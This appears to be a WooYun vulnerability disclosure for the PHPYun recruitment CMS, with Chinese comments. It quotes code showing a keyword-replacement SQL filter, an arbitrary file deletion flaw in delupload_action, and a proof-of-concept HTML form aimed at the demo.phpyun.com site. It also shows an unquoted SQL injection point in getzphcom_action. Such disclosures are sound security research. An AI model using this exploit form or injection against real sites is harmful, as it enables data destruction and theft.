WooYun.org

<?php
include(dirname(__FILE__)."/global.php");
********省略***********
$act = $_GET['act'];
$task = $_GET['task'];
********省略***********
require(MODEL_PATH.'class/common.php');
require("model/".$act.'.class.php');//包含model/下的class.php文件
$conclass=$act.'_controller';
$actfunc=$task.'_action';
$views=new $conclass($phpyun,$db,$db_config["def"],"index");//实例化一个类
if(!method_exists($views,$actfunc)){
	$views->DoException();
}
$views->$actfunc();//访问url:index.php?act=ajax&task=delupload将调用model/ajax.class.php中ajax_controller类的delupload_action函数
?>

error_reporting(0);//关闭了错误显示
........................................
if($_GET[act]!="admin_template"){
	include(CONFIG_PATH."db.safety.php");//包含了data/db.safety.php文件
}

<?php
function quotesGPC() {
	$_POST = array_map("addSlash", $_POST);
	$_GET = array_map("addSlash", $_GET);
	$_COOKIE = array_map("addSlash", $_COOKIE);
}
function addSlash($el) {
	if (is_array($el))
		return array_map("addSlash", $el);
	else
		return addslashes($el);
}
function gpc2sql($str) {
	$arr=array(" and "=>" an d "," or "=>" Ｏr ","%20"=>"","select"=>"Ｓelect","update"=>"Ｕpdate","count"=>"Ｃount","chr"=>"Ｃhr","truncate"=>"Ｔruncate","union"=>"Ｕnion","delete"=>"Ｄelete","insert"=>"Ｉnsert");
	foreach($arr as $key=>$v){
    	$str = preg_replace('/'.$key.'/isU',$v,$str);
	}
	return $str;
}
function common_htmlspecialchars($str){
    $str = preg_replace('/&(?!#[0-9]+;)/s', '&amp;', $str);
    $str = str_replace(
    array('&','<','>','"','and',"'"),
    array("&amp;",'&lt;','&gt;','&quot;','an d',"&acute;"),
    $str);
    return gpc2sql($str);
}
foreach($_POST  as $id=>$v){
	$_POST[$id]=common_htmlspecialchars($v);
}
foreach($_GET  as $id=>$v){
	if(!is_array($v))
	$v=substr(strip_tags($v),0,80);
	$_GET[$id]=common_htmlspecialchars($v);
}
foreach($_COOKIE  as $id=>$v){
	$v=substr(strip_tags($v),0,52);
	$_COOKIE[$id]=common_htmlspecialchars($v);
}
?>

function delupload_action(){
		if(!$this->uid || !$this->username || $_COOKIE["usertype"]!=2){//需要先注册一个企业用户再登录，企业用户usertype为2，个人用户需要修改cookie
			echo 0;die;
		}else{
			$dir=$_POST[str][0];	//POST表单中设置[str][0]的值就可以删除任意文件了
			echo @unlink(".".$dir);	//调用了unlink函数删除文件
		}
	}

<form action="http://demo.phpyun.com/index.php?act=ajax&task=delupload" method="post"><br>
    要删除的文件:<input type="text" name="str[0]" value="/robots.txt" size=120><br>
    <input type="submit" value="提交">
</form>

function getzphcom_action(){
		extract($_GET);	//$jobid=$_GET["jobid"]
		if(!$jobid){
			$arr['status']=0;
			$arr['content']=iconv("gbk","utf-8","您还没有职位，<a href='index.php?act=login&usertype=2'>请先登录</a>");
		}else{
			$row=$this->obj->DB_select_all("company_job","`id` in ($jobid)");//$jobid没有单引号，闭合前面的)即可进行注入
			foreach($row as $v){
					$data.=$v[name].'<br>';
				}
			$arr['status']=1;
			$arr['content']=iconv("gbk","utf-8",$data);
		}
		echo json_encode($arr);
	}